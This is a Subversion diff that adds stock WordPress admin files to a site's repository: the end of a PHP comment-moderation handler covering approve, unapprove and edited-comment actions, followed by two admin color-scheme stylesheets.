+		comment_footer_die( __('Oops, no comment with this ID.') . sprintf(' <a href="%s">'.__('Go back').'</a>!', 'edit.php') );
+
+	if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) )
+		comment_footer_die( __('You are not allowed to edit comments on this post, so you cannot disapprove this comment.') );
+
+	wp_set_comment_status( $comment->comment_ID, 'hold' );
+
+	if ( '' != wp_get_referer() && false == $noredir )
+		wp_redirect( wp_get_referer() );
+	else
+		wp_redirect( admin_url('edit-comments.php?p=' . absint( $comment->comment_post_ID ) . '#comments') );
+
+	exit();
+	break;
+
+case 'approvecomment' :
+	$comment_id = absint( $_GET['c'] );
+	check_admin_referer( 'approve-comment_' . $comment_id );
+
+	if ( isset( $_GET['noredir'] ) )
+		$noredir = true;
+	else
+		$noredir = false;
+
+	if ( !$comment = get_comment( $comment_id ) )
+		comment_footer_die( __('Oops, no comment with this ID.') . sprintf(' <a href="%s">'.__('Go back').'</a>!', 'edit.php') );
+
+	if ( !current_user_can('edit_post', $comment->comment_post_ID) )
+		comment_footer_die( __('You are not allowed to edit comments on this post, so you cannot approve this comment.') );
+
+	wp_set_comment_status( $comment->comment_ID, 'approve' );
+
+	if ( '' != wp_get_referer() && false == $noredir )
+		wp_redirect( wp_get_referer() );
+	else
+		wp_redirect( admin_url('edit-comments.php?p=' . absint( $comment->comment_post_ID ) . '#comments') );
+
+	exit();
+	break;
+
+case 'editedcomment' :
+
+	$comment_id = absint( $_POST['comment_ID'] );
+	$comment_post_id = absint( $_POST['comment_post_ID'] );
+
+	check_admin_referer( 'update-comment_' . $comment_id );
+
+	edit_comment();
+
+	$location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id;
+	$location = apply_filters( 'comment_edit_redirect', $location, $comment_id );
+	wp_redirect( $location );
+
+	exit();
+	break;
+
+default:
+	wp_die( __('Unknown action.') );
+	break;
+
+} // end switch
+
+include('admin-footer.php');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/css/colors-classic-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/colors-classic-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/colors-classic-rtl.css	(revision 44)
@@ -0,0 +1,80 @@
+.bar {
+	border-right-color: transparent;
+	border-left-color: #99d;
+}
+
+.plugins .togl {
+	border-right-color: transparent;
+	border-left-color: #ccc;
+}
+
+.post-com-count {
+	background-image: url(../images/bubble_bg-rtl.gif);
+}
+.tablenav .tablenav-pages a {
+	background: #eee url('../images/menu-bits-rtl-vs.gif') repeat-x scroll right -379px;
+}
+#upload-menu li.current {
+	border-right-color: transparent;
+	border-left-color: #448abd;
+}
+
+#adminmenu .wp-submenu .current a.current {
+	background: transparent url(../images/menu-bits-rtl-vs.gif) no-repeat scroll  right -289px;
+}
+
+#adminmenu li.wp-menu-separator {
+	background: transparent url(../images/menu-arrows.gif) no-repeat scroll right -34px;
+}
+
+.folded #adminmenu li.wp-menu-separator {
+	background: transparent url(../images/menu-arrows.gif) no-repeat scroll left 5px;
+}
+
+#adminmenu li.wp-has-current-submenu .wp-menu-toggle,
+#adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle {
+	background: transparent url(../images/menu-bits-rtl-vs.gif) repeat-x scroll right -207px;
+}
+
+#adminmenu .wp-has-current-submenu ul li a.current {
+	background: url(../images/menu-dark-rtl.gif) top right no-repeat !important;
+}
+
+#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
+#adminmenu .menu-top .current {
+	background: url(../images/menu-bits-rtl-vs.gif) top right repeat-x;
+}
+
+#adminmenu li.wp-has-current-submenu ul li a {
+	background: url(../images/menu-dark-rtl.gif) bottom right no-repeat !important;
+}
+
+#adminmenu li.wp-has-current-submenu.wp-menu-open .wp-menu-toggle, #adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle {
+	background: transparent url(../images/menu-bits-rtl-vs.gif) no-repeat right -207px;
+}
+
+#adminmenu .wp-has-submenu:hover .wp-menu-toggle,
+#adminmenu .wp-menu-open .wp-menu-toggle {
+	background: transparent url(../images/menu-bits-rtl-vs.gif) repeat-x scroll right -109px;
+}
+
+#adminmenu a.wp-has-submenu {
+	background: #f1f1f1 url(../images/menu-bits-rtl-vs.gif) repeat-x scroll right -379px;
+}
+
+#adminmenu .wp-submenu a {
+	background: #FFFFFF url(../images/menu-bits-rtl-vs.gif) no-repeat scroll right -310px;
+}
+
+#adminmenu li.current a,
+#adminmenu .wp-submenu a:hover {
+	background: transparent url(../images/menu-bits-rtl-vs.gif) no-repeat scroll  right -289px;
+}
+
+#adminmenu li.wp-has-current-submenu a.wp-has-submenu {
+	background: #b5b5b5 url(../images/menu-bits-rtl-vs.gif) repeat-x scroll right top;
+}
+
+.meta-box-sortables .postbox:hover .handlediv {
+	background: transparent url(../images/menu-bits-rtl-vs.gif) no-repeat scroll right -111px;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/colors-classic.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/colors-classic.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/colors-classic.css	(revision 44)
@@ -0,0 +1,1671 @@
+html {
+	background-color: #f7f6f1;
+}
+
+* html input,
+* html .widget {
+    border-color: #8cbdd5;
+}
+
+textarea,
+input,
+select {
+	border-color: #dfdfdf;
+}
+
+kbd,
+code {
+	background: #eaeaea;
+}
+
+input[readonly] {
+	background-color: #eee;
+}
+
+.find-box-search {
+	border-color: #dfdfdf;
+	background-color: #f1f1f1;
+}
+
+.find-box {
+	background-color: #f1f1f1;
+}
+
+.find-box-inside {
+	background-color: #fff;
+}
+
+a.page-numbers:hover {
+	border-color: #999;
+}
+
+body,
+#wpbody,
+.form-table .pre {
+	color: #333;
+}
+
+body > #upload-menu {
+	border-bottom-color: #fff;
+}
+
+#postcustomstuff table,
+#your-profile fieldset,
+#rightnow,
+div.dashboard-widget,
+#dashboard-widgets p.dashboard-widget-links,
+#replyrow #ed_reply_toolbar input {
+	border-color: #ccc;
+}
+
+#poststuff .inside label.spam {
+	color: red;
+}
+
+#poststuff .inside label.waiting {
+	color: orange;
+}
+
+#poststuff .inside label.approved {
+	color: green;
+}
+
+#postcustomstuff table {
+	border-color: #dfdfdf;
+	background-color: #f9f9f9;
+}
+
+#postcustomstuff thead th {
+	background-color: #f1f1f1;
+}
+
+#postcustomstuff table input,
+#postcustomstuff table textarea {
+	border-color: #dfdfdf;
+	background-color: #fff;
+}
+
+.widefat {
+	border-color: #dfdfdf;
+	background-color: #fff;
+}
+
+div.dashboard-widget-error {
+	background-color: #c43;
+}
+
+div.dashboard-widget-notice {
+	background-color: #cfe1ef;
+}
+
+div.dashboard-widget-submit {
+	border-top-color: #ccc;
+}
+
+div.tabs-panel,
+ul#category-tabs li.tabs {
+	border-color: #dfdfdf;
+}
+
+ul#category-tabs li.tabs {
+	background-color: #f1f1f1;
+}
+
+input.disabled,
+textarea.disabled {
+	background-color: #ccc;
+}
+/* #upload-menu li a.upload-tab-link, */
+.login #backtoblog a:hover,
+#plugin-information .action-button a,
+#plugin-information .action-button a:hover,
+#plugin-information .action-button a:visited {
+	color: #fff;
+}
+
+.widget .widget-top,
+.postbox h3,
+.stuffbox h3 {
+	background: #d5e6f2 url("../images/blue-grad.png") repeat-x left top;
+	text-shadow: #fff 0 1px 0;
+}
+
+.form-table th,
+.form-wrap label {
+	color: #222;
+	text-shadow: #fff 0 1px 0;
+}
+
+.description,
+.form-wrap p {
+	color: #666;
+}
+
+strong .post-com-count span {
+	background-color: #21759b;
+}
+
+.sorthelper {
+	background-color: #ccf3fa;
+}
+
+.ac_match,
+.subsubsub a.current {
+	color: #000;
+}
+
+.wrap h2 {
+	color: #093e56;
+}
+
+.ac_over {
+	background-color: #f0f0b8;
+}
+
+.ac_results {
+	background-color: #fff;
+	border-color: #808080;
+}
+
+.ac_results li {
+	color: #101010;
+}
+
+.alt
+.alternate {
+	background-color: #edfbfc;
+}
+
+.available-theme a.screenshot {
+	background-color: #f1f1f1;
+	border-color: #ddd;
+}
+
+.bar {
+	background-color: #e8e8e8;
+	border-right-color: #99d;
+}
+
+#media-upload {
+	background: #fff;
+}
+
+#media-upload .slidetoggle {
+	border-top-color: #dfdfdf;
+}
+
+.error,
+#login #login_error {
+	background-color: #ffebe8;
+	border-color: #c00;
+}
+
+.error a {
+	color: #c00;
+}
+
+.form-invalid {
+	background-color: #ffebe8 !important;
+}
+
+.form-invalid input {
+	border-color: #c00 !important;
+}
+
+.submit {
+	border-color: #8cbdd5;
+}
+
+.highlight {
+	background-color: #e4f2fd;
+	color: #d54e21;
+}
+
+.howto,
+.nonessential,
+#edit-slug-box,
+.form-input-tip,
+.rss-widget span.rss-date,
+.subsubsub {
+	color: #666;
+}
+
+.media-item {
+	border-bottom-color: #dfdfdf;
+}
+
+#wpbody-content #media-items .describe {
+	border-top-color: #dfdfdf;
+}
+
+.describe input[type="text"],
+.describe textarea {
+	border-color: #dfdfdf;
+}
+
+.media-upload-form label.form-help,
+td.help {
+	color: #9a9a9a;
+}
+
+.post-com-count {
+	background-image: url(../images/bubble_bg.gif);
+	color: #fff;
+}
+
+.post-com-count span {
+	background-color: #bbb;
+	color: #fff;
+}
+
+.post-com-count:hover span {
+	background-color: #d54e21;
+}
+
+.quicktags, .search {
+	background-color: #ccc;
+	color: #000;
+}
+
+.side-info h5 {
+	border-bottom-color: #dadada;
+}
+
+.side-info ul {
+	color: #666;
+}
+
+.button,
+.button-secondary,
+.submit input,
+input[type=button],
+input[type=submit] {
+	border-color: #dfdfdf;
+	color: #464646;
+}
+
+.button:hover,
+.button-secondary:hover,
+.submit input:hover,
+input[type=button]:hover,
+input[type=submit]:hover {
+	color: #000;
+	border-color: #adaca7;
+}
+
+.button,
+.submit input,
+.button-secondary {
+	background: #f2f2f2 url(../images/white-grad.png) repeat-x scroll left top;
+}
+
+.button:active,
+.submit input:active,
+.button-secondary:active {
+	background: #eee url(../images/white-grad-active.png) repeat-x scroll left top;
+}
+
+.button-primary,
+.submit .button-primary,
+#login form .submit input {
+	border-color: #5b86ab !important;
+	font-weight: bold;
+	color: #fff !important;
+	background: #5580a6 url(../images/button-grad-vs.png) repeat-x scroll left top;
+}
+
+.button-primary:active,
+#login form .submit input:active {
+	background: #21759b url(../images/button-grad-active-vs.png) repeat-x scroll left top !important;
+}
+
+.button[disabled],
+.button:disabled,
+.button-secondary[disabled],
+.button-secondary:disabled,
+a.button.disabled {
+	color: #ccc !important;
+	border-color: #ccc;
+}
+
+.button-primary[disabled],
+.button-primary:disabled {
+	color: #80a3d2 !important;
+}
+
+a:active,
+a:focus {
+	color: #d54e21;
+}
+
+a:hover,
+#wphead #viewsite a:hover,
+#adminmenu a:hover,
+#adminmenu ul.wp-submenu a:hover,
+#the-comment-list .comment a:hover,
+#rightnow a:hover,
+#login form .submit input:hover,
+#media-upload a.del-link:hover,
+div.dashboard-widget-submit input:hover,
+.subsubsub a:hover,
+.subsubsub a.current:hover,
+.ui-tabs-nav a:hover,
+.plugins .inactive a:hover,
+#all-plugins-table .plugins .inactive a:hover,
+#search-plugins-table .plugins .inactive a:hover {
+	color: #d54e21;
+}
+
+#the-comment-list .comment-item,
+#dashboard-widgets #dashboard_quick_press form p.submit {
+	border-color: #dfdfdf;
+}
+
+#dashboard_right_now .table {
+	background:#faf9f7 !important;
+}
+
+.button-primary:hover,
+#login form .submit input:hover {
+	border-color: #2e5475 !important;
+	color: #eaf2fa !important;
+}
+
+#side-sortables #category-tabs .tabs a {
+	color: #333;
+}
+
+#rightnow .rbutton {
+	background-color: #ebebeb;
+	color: #264761;
+}
+
+.submitbox .submit {
+	background-color: #464646;
+	color: #ccc;
+}
+
+.plugins a.delete:hover,
+#all-plugins-table .plugins a.delete:hover,
+#search-plugins-table .plugins a.delete:hover,
+.submitbox .submitdelete,
+a.delete {
+	color: #f00;
+	border-bottom-color: #f00;
+}
+
+.submitbox .submitdelete:hover,
+#media-items a.delete:hover {
+	color: #fff;
+	background-color: #f00;
+	border-bottom-color: #f00;
+}
+
+#normal-sortables .submitbox .submitdelete:hover {
+	color: #000;
+	background-color: #f00;
+	border-bottom-color: #f00;
+}
+
+.tablenav .dots {
+	border-color: transparent;
+}
+
+.tablenav .next,
+.tablenav .prev {
+	border-color: transparent;
+	color: #21759b;
+}
+
+.tablenav .next:hover,
+.tablenav .prev:hover {
+	border-color: transparent;
+	color: #d54e21;
+}
+
+.updated,
+.login #login_error,
+.login .message {
+	background-color: #ffffe0;
+	border-color: #e6db55;
+}
+
+.update-message {
+	color: #000000;
+}
+
+a.page-numbers {
+	border-bottom-color: #b8d3e2;
+}
+
+.commentlist li {
+	border-bottom-color: #ccc;
+}
+
+.widefat td,
+.widefat th,
+#install-plugins .plugins td,
+#install-plugins .plugins th {
+	border-color: #dfdfdf;
+}
+
+.widefat th {
+	text-shadow: rgba(255,255,255,0.8) 0 1px 0;
+}
+
+.widefat thead tr th,
+.widefat tfoot tr th,
+h3.dashboard-widget-title,
+h3.dashboard-widget-title span,
+h3.dashboard-widget-title small,
+.find-box-head {
+	color: #333;
+	background: #d5e6f2 url(../images/blue-grad.png) repeat-x scroll left top;
+}
+
+h3.dashboard-widget-title small a {
+	color: #d7d7d7;
+}
+
+h3.dashboard-widget-title small a:hover {
+	color: #fff;
+}
+
+a,
+#adminmenu a,
+#poststuff #edButtonPreview,
+#poststuff #edButtonHTML,
+#the-comment-list p.comment-author strong a,
+#media-upload a.del-link,
+#media-items a.delete,
+.plugins a.delete,
+.ui-tabs-nav a {
+	color: #1c6280;
+}
+
+/* Because we don't want visited on these links */
+body.press-this .tabs a,
+body.press-this .tabs a:hover {
+	background-color: #fff;
+	border-color: #c6d9e9;
+	border-bottom-color: #fff;
+	color: #d54e21;
+}
+
+#adminmenu #awaiting-mod,
+#adminmenu .update-plugins,
+#sidemenu a .update-plugins,
+#rightnow .reallynow,
+#plugin-information .action-button {
+	background-color: #d54e21;
+	color: #fff;
+}
+
+#adminmenu li a:hover #awaiting-mod,
+#adminmenu li a:hover .update-plugins,
+#sidemenu li a:hover .update-plugins {
+	background-color: #264761;
+	color: #fff;
+}
+
+#adminmenu li.current a #awaiting-mod,
+#adminmenu li.current a .update-plugins,
+#adminmenu li.wp-has-current-submenu a .update-plugins,
+#adminmenu li.wp-has-current-submenu a .update-plugins {
+	background-color: #ddd;
+	color: #000;
+	text-shadow: none;
+	-moz-box-shadow: rgba(0,0,0,0.2) 0 -1px 0;
+	-khtml-box-shadow: rgba(0,0,0,0.2) 0 -1px 0;
+	-webkit-box-shadow: rgba(0,0,0,0.2) 0 -1px 0;
+	box-shadow: rgba(0,0,0,0.2) 0 -1px 0;
+}
+
+#adminmenu li.current a:hover #awaiting-mod,
+#adminmenu li.current a:hover .update-plugins,
+#adminmenu li.wp-has-current-submenu a:hover #awaiting-mod,
+#adminmenu li.wp-has-current-submenu a:hover .update-plugins {
+	background-color: #264761;
+	color: #fff;
+}
+
+div#media-upload-header,
+div#plugin-information-header {
+	background-color: #f9f9f9;
+	border-bottom-color: #dfdfdf;
+}
+
+#currenttheme img {
+	border-color: #666;
+}
+
+#dashboard_secondary div.dashboard-widget-content ul li a {
+	background-color: #f9f9f9;
+}
+
+input.readonly, textarea.readonly {
+	background-color: #ddd;
+}
+
+#ed_toolbar input,
+#ed_reply_toolbar input {
+	background: #fff url("../images/fade-butt.png") repeat-x 0 -2px;
+}
+
+#editable-post-name {
+	background-color: #fffbcc;
+}
+
+#edit-slug-box strong,
+.tablenav .displaying-num,
+#submitted-on {
+	color: #777;
+}
+
+.login #nav a {
+	color: #21759b !important;
+}
+
+.login #nav a:hover {
+	color: #d54e21 !important;
+}
+
+#footer,
+#footer-upgrade {
+	background: #1d507d;
+	color: #b6d1e4;
+}
+
+#media-items {
+	border-color: #dfdfdf;
+}
+
+.checkbox,
+.side-info,
+.plugins tr,
+.postbox,
+#your-profile #rich_editing {
+	background-color: #fff;
+}
+
+.plugins .inactive,
+.plugins .inactive th,
+.plugins .inactive td,
+tr.inactive + tr.plugin-update-tr .plugin-update {
+	background-color: #ebeeef;
+}
+
+.plugin-update-tr .update-message {
+	background-color: #fffbe4;
+	border-color: #dfdfdf;
+}
+
+.plugins .active,
+.plugins .active th,
+.plugins .active td {
+	color: #000;
+}
+
+.plugins .inactive a { 
+	color: #557799; 	
+}
+
+#the-comment-list .unapproved,
+#the-comment-list .unapproved th,
+#the-comment-list .unapproved td {
+	background-color: #ffffe0;
+}
+
+#the-comment-list .approve a {
+	color: #006505;
+}
+
+#the-comment-list .unapprove a {
+	color: #d98500;
+}
+
+#the-comment-list .delete a {
+	color: #bc0b0b;
+}
+
+.widget,
+#widget-list .widget-top,
+.postbox,
+#titlediv,
+#poststuff .postarea,
+.stuffbox {
+	border-color: #dfdfdf;
+}
+
+.widget,
+.postbox {
+	background-color: #fff;
+}
+
+.ui-sortable .postbox h3 {
+	color: #093e56;
+}
+
+.widget .widget-top,
+.ui-sortable .postbox h3:hover {
+	color: #000;
+}
+
+.curtime #timestamp {
+	background-image: url(../images/date-button.gif);
+}
+
+#quicktags #ed_link {
+	color: #00f;
+}
+
+#rightnow .youhave {
+	background-color: #f0f6fb;
+}
+
+#rightnow a {
+	color: #448abd;
+}
+
+.tagchecklist span a,
+#bulk-titles div a {
+	background: url(../images/xit.gif) no-repeat;
+}
+
+.tagchecklist span a:hover,
+#bulk-titles div a:hover {
+	background: url(../images/xit.gif) no-repeat -10px 0;
+}
+
+#update-nag {
+	background-color: #fffeeb;
+	border-color: #ccc;
+	color: #555;
+}
+
+.login #backtoblog a {
+	color: #ccc;
+}
+
+#wphead {
+	background-color: #1d507d;
+}
+
+body.login {
+	border-top-color: #093e56;
+}
+
+#wphead h1 a {
+	color: #fff;
+}
+
+#login form input {
+	color: #555;
+}
+
+#user_info {
+	color: #b6d1e4;
+}
+
+#user_info a:link,
+#user_info a:visited,
+#footer a:link,
+#footer a:visited {
+	color: #fff;
+	text-decoration: none;
+}
+
+#user_info a:hover,
+#user_info a:active,
+#footer a:hover,
+#footer a:active  {
+	text-decoration: underline;
+}
+
+div#media-upload-error,
+.file-error,
+abbr.required,
+.widget-control-remove:hover,
+.delete a:hover {
+	color: #f00;
+}
+
+/* password strength meter */
+#pass-strength-result {
+	background-color: #eee;
+	border-color: #ddd !important;
+}
+
+#pass-strength-result.bad {
+	background-color: #ffb78c;
+	border-color: #ff853c !important;
+}
+
+#pass-strength-result.good {
+	background-color: #ffec8b;
+	border-color: #fc0 !important;
+}
+
+#pass-strength-result.short {
+	background-color: #ffa0a0;
+	border-color: #f04040 !important;
+}
+
+#pass-strength-result.strong {
+	background-color: #c3ff88;
+	border-color: #8dff1c !important;
+}
+
+/* editors */
+#quicktags {
+	border-color: #dfdfdf;
+	background-color: #dfdfdf;
+}
+
+#ed_toolbar input {
+	border-color: #c3c3c3;
+}
+
+#ed_toolbar input:hover {
+	border-color: #aaa;
+	background: #ddd;
+}
+
+#poststuff .wp_themeSkin .mceStatusbar {
+	border-color: #ededed;
+}
+
+#poststuff #edButtonPreview,
+#poststuff #edButtonHTML {
+	background-color: #f2f1eb;
+	border-color: #dfdfdf;
+	color: #999;
+}
+
+#poststuff #editor-toolbar .active {
+	border-bottom-color: #e3eef7;
+	background-color: #e3eef7;
+	color: #333;
+}
+
+/* TinyMCE */
+#post-status-info {
+	background-color: #ededed;
+}
+
+.wp_themeSkin *,
+.wp_themeSkin a:hover,
+.wp_themeSkin a:link,
+.wp_themeSkin a:visited,
+.wp_themeSkin a:active {
+	color: #000;
+}
+
+/* Containers */
+.wp_themeSkin iframe {
+	background: #fff;
+}
+
+/* Layout */
+.wp_themeSkin .mceStatusbar {
+	color: #000;
+	background-color: #f5f5f5;
+}
+
+/* Button */
+.wp_themeSkin .mceButton {
+	background-color: #e9e8e8;
+	border-color: #b2b2b2;
+}
+
+.wp_themeSkin a.mceButtonEnabled:hover,
+.wp_themeSkin a.mceButtonActive,
+.wp_themeSkin a.mceButtonSelected {
+	background-color: #d5d5d5;
+	border-color: #777 !important;
+}
+
+.wp_themeSkin .mceButtonDisabled {
+	border-color: #ccc !important;
+}
+
+/* ListBox */
+.wp_themeSkin .mceListBox .mceText,
+.wp_themeSkin .mceListBox .mceOpen  {
+	border-color: #b2b2b2;
+	background-color: #d5d5d5;
+}
+
+.wp_themeSkin table.mceListBoxEnabled:hover .mceOpen,
+.wp_themeSkin .mceListBoxHover .mceOpen,
+.wp_themeSkin .mceListBoxSelected .mceOpen,
+.wp_themeSkin .mceListBoxSelected .mceText {
+	border-color: #777 !important;
+	background-color: #d5d5d5;
+}
+
+.wp_themeSkin table.mceListBoxEnabled:hover .mceText,
+.wp_themeSkin .mceListBoxHover .mceText {
+	border-color: #777 !important;
+}
+
+.wp_themeSkin select.mceListBox {
+	border-color: #b2b2b2;
+	background-color: #fff;
+}
+
+/* SplitButton */
+.wp_themeSkin .mceSplitButton a.mceAction,
+.wp_themeSkin .mceSplitButton a.mceOpen {
+	border-color: #b2b2b2;
+}
+
+.wp_themeSkin .mceSplitButton a.mceOpen:hover,
+.wp_themeSkin .mceSplitButtonSelected a.mceOpen,
+.wp_themeSkin table.mceSplitButtonEnabled:hover a.mceAction,
+.wp_themeSkin .mceSplitButton a.mceAction:hover {
+	background-color: #d5d5d5;
+	border-color: #777 !important;
+}
+
+.wp_themeSkin .mceSplitButtonActive {
+	background-color: #b2b2b2;
+}
+
+/* ColorSplitButton */
+.wp_themeSkin div.mceColorSplitMenu table {
+	background-color: #ebebeb;
+	border-color: #b2b2b2;
+}
+
+.wp_themeSkin .mceColorSplitMenu a {
+	border-color: #b2b2b2;
+}
+
+.wp_themeSkin .mceColorSplitMenu a.mceMoreColors {
+	border-color: #fff;
+}
+
+.wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover {
+	border-color: #0a246a;
+	background-color: #b6bdd2;
+}
+
+.wp_themeSkin a.mceMoreColors:hover {
+	border-color: #0a246a;
+}
+
+/* Menu */
+.wp_themeSkin .mceMenu {
+	border-color: #ddd;
+}
+
+.wp_themeSkin .mceMenu table {
+	background-color: #ebeaeb;
+}
+
+.wp_themeSkin .mceMenu .mceText {
+	color: #000;
+}
+
+.wp_themeSkin .mceMenu .mceMenuItemEnabled a:hover,
+.wp_themeSkin .mceMenu .mceMenuItemActive {
+	background-color: #f5f5f5;
+}
+.wp_themeSkin td.mceMenuItemSeparator {
+	background-color: #aaa;
+}
+.wp_themeSkin .mceMenuItemTitle a {
+	background-color: #ccc;
+	border-bottom-color: #aaa;
+}
+.wp_themeSkin .mceMenuItemTitle span.mceText {
+	color: #000;
+}
+.wp_themeSkin .mceMenuItemDisabled .mceText {
+	color: #888;
+}
+
+#quicktags,
+.wp_themeSkin tr.mceFirst td.mceToolbar {
+	background: #e3eef7 url("../images/ed-bg-vs.gif") repeat-x scroll left top;
+}
+.wp_themeSkin tr.mceFirst td.mceToolbar {
+	border-color: #dfdfdf;
+}
+
+.wp-admin #mceModalBlocker {
+	background: #000;
+}
+
+.wp-admin .clearlooks2 .mceFocus .mceTop .mceLeft {
+	background: #444;
+	border-left: 1px solid #999;
+	border-top: 1px solid #999;
+	-moz-border-radius: 4px 0 0 0;
+	-webkit-border-top-left-radius: 4px;
+	-khtml-border-top-left-radius: 4px;
+	border-top-left-radius: 4px;
+}
+
+.wp-admin .clearlooks2 .mceFocus .mceTop .mceRight {
+	background: #444;
+	border-right: 1px solid #999;
+	border-top: 1px solid #999;
+	border-top-right-radius: 4px;
+	-khtml-border-top-right-radius: 4px;
+	-webkit-border-top-right-radius: 4px;
+	-moz-border-radius: 0 4px 0 0;
+}
+
+.wp-admin .clearlooks2 .mceMiddle .mceLeft {
+	background: #f1f1f1;
+	border-left: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceMiddle .mceRight {
+	background: #f1f1f1;
+	border-right: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceBottom {
+	background: #f1f1f1;
+	border-bottom: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceBottom .mceLeft {
+	background: #f1f1f1;
+	border-bottom: 1px solid #999;
+	border-left: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceBottom .mceCenter {
+	background: #f1f1f1;
+	border-bottom: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceBottom .mceRight {
+	background: #f1f1f1;
+	border-bottom: 1px solid #999;
+	border-right: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceFocus .mceTop span {
+	color: #e5e5e5;
+}
+/* end TinyMCE */
+
+#editorcontainer,
+#post-status-info,
+#titlediv #title,
+.editwidget .widget-inside {
+	border-color: #dfdfdf;
+}
+
+#titlediv #title {
+	background-color: #fff;
+}
+
+#tTips p#tTips_inside {
+	background-color: #ddd;
+	color: #333;
+}
+
+#timestampdiv input,
+#namediv input,
+#poststuff .inside .the-tagcloud {
+	border-color: #dfdfdf;
+}
+
+/* menu */
+#adminmenu * {
+	border-color: #dfdfdf;
+}
+
+#adminmenu li.wp-menu-separator {
+	background: transparent url(../images/menu-arrows.gif) no-repeat scroll left 5px;
+}
+
+.folded #adminmenu li.wp-menu-separator {
+	background: transparent url(../images/menu-arrows.gif) no-repeat scroll right -34px;
+}
+
+#adminmenu li.wp-has-current-submenu.wp-menu-open .wp-menu-toggle,
+#adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle {
+	background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -207px;
+}
+
+#adminmenu .wp-has-submenu:hover .wp-menu-toggle,
+#adminmenu .wp-menu-open .wp-menu-toggle {
+	background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -109px;
+}
+
+#adminmenu a.menu-top {
+	background: #eaf3fa url(../images/menu-bits-vs.gif) repeat-x scroll left -379px;
+}
+
+#adminmenu .wp-submenu a {
+	background: #fff url(../images/menu-bits-vs.gif) no-repeat scroll 0 -310px;
+}
+
+#adminmenu .wp-has-current-submenu ul li a {
+	background: none;
+}
+
+#adminmenu .wp-has-current-submenu ul li a.current {
+	background: url(../images/menu-dark.gif) top left no-repeat !important;
+}
+
+#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
+#adminmenu .menu-top .current {
+	background: #3c6b95 url(../images/menu-bits-vs.gif) top left repeat-x;
+	border-color: #1d507d;
+	color: #fff;
+	text-shadow: rgba(0,0,0,0.4) 0 -1px 0;
+}
+
+#adminmenu li.wp-has-current-submenu .wp-submenu,
+#adminmenu li.wp-has-current-submenu ul li a {
+	border-color: #aaa !important;
+}
+
+#adminmenu li.wp-has-current-submenu ul li a {
+	background: url(../images/menu-dark.gif) bottom left no-repeat !important;
+}
+
+#adminmenu li.wp-has-current-submenu ul {
+	border-bottom-color: #aaa;
+}
+
+#adminmenu li.menu-top .current:hover {
+	border-color: #6583c0;
+}
+
+#adminmenu .wp-submenu .current a.current {
+	background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll  0 -289px;
+}
+
+#adminmenu .wp-submenu a:hover {
+	background-color: #eaf2fa !important;
+	color: #333 !important;
+}
+
+#adminmenu .wp-submenu li.current,
+#adminmenu .wp-submenu li.current a,
+#adminmenu .wp-submenu li.current a:hover {
+	color: #333;
+	background-color: #f5f5f5;
+	background-image: none;
+	border-color: #e3e3e3;
+	text-shadow: rgba(255,255,255,1) 0 1px 0;
+}
+
+#adminmenu .wp-submenu ul {
+	background-color: #fff;
+}
+
+.folded #adminmenu li.menu-top,
+#adminmenu .wp-submenu .wp-submenu-head {
+	background-color: #eaf2fa;
+}
+
+.folded #adminmenu li.wp-has-current-submenu,
+.folded #adminmenu li.menu-top.current {
+	background-color: #bbd8e7;
+}
+
+#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head {
+	background-color: #bbd8e7;
+	border-color: #8cbdd5;
+}
+
+#adminmenu div.wp-submenu {
+	background-color: transparent;
+}
+
+/* menu icons */
+#adminmenu #menu-dashboard div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -61px -33px;
+}
+
+#adminmenu #menu-dashboard:hover div.wp-menu-image,
+#adminmenu  #menu-dashboard.wp-has-current-submenu div.wp-menu-image,
+#adminmenu  #menu-dashboard.current div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -61px -1px;
+}
+
+#adminmenu #menu-posts div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -272px -33px;
+}
+
+#adminmenu #menu-posts:hover div.wp-menu-image,
+#adminmenu #menu-posts.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -272px -1px;
+}
+
+#adminmenu #menu-media div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -121px -33px;
+}
+
+#adminmenu #menu-media:hover div.wp-menu-image,
+#adminmenu #menu-media.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -121px -1px;
+}
+
+#adminmenu #menu-links div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -91px -33px;
+}
+
+#adminmenu #menu-links:hover div.wp-menu-image,
+#adminmenu #menu-links.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -91px -1px;
+}
+
+#adminmenu #menu-pages div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -151px -33px;
+}
+
+#adminmenu #menu-pages:hover div.wp-menu-image,
+#adminmenu #menu-pages.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -151px -1px;
+}
+
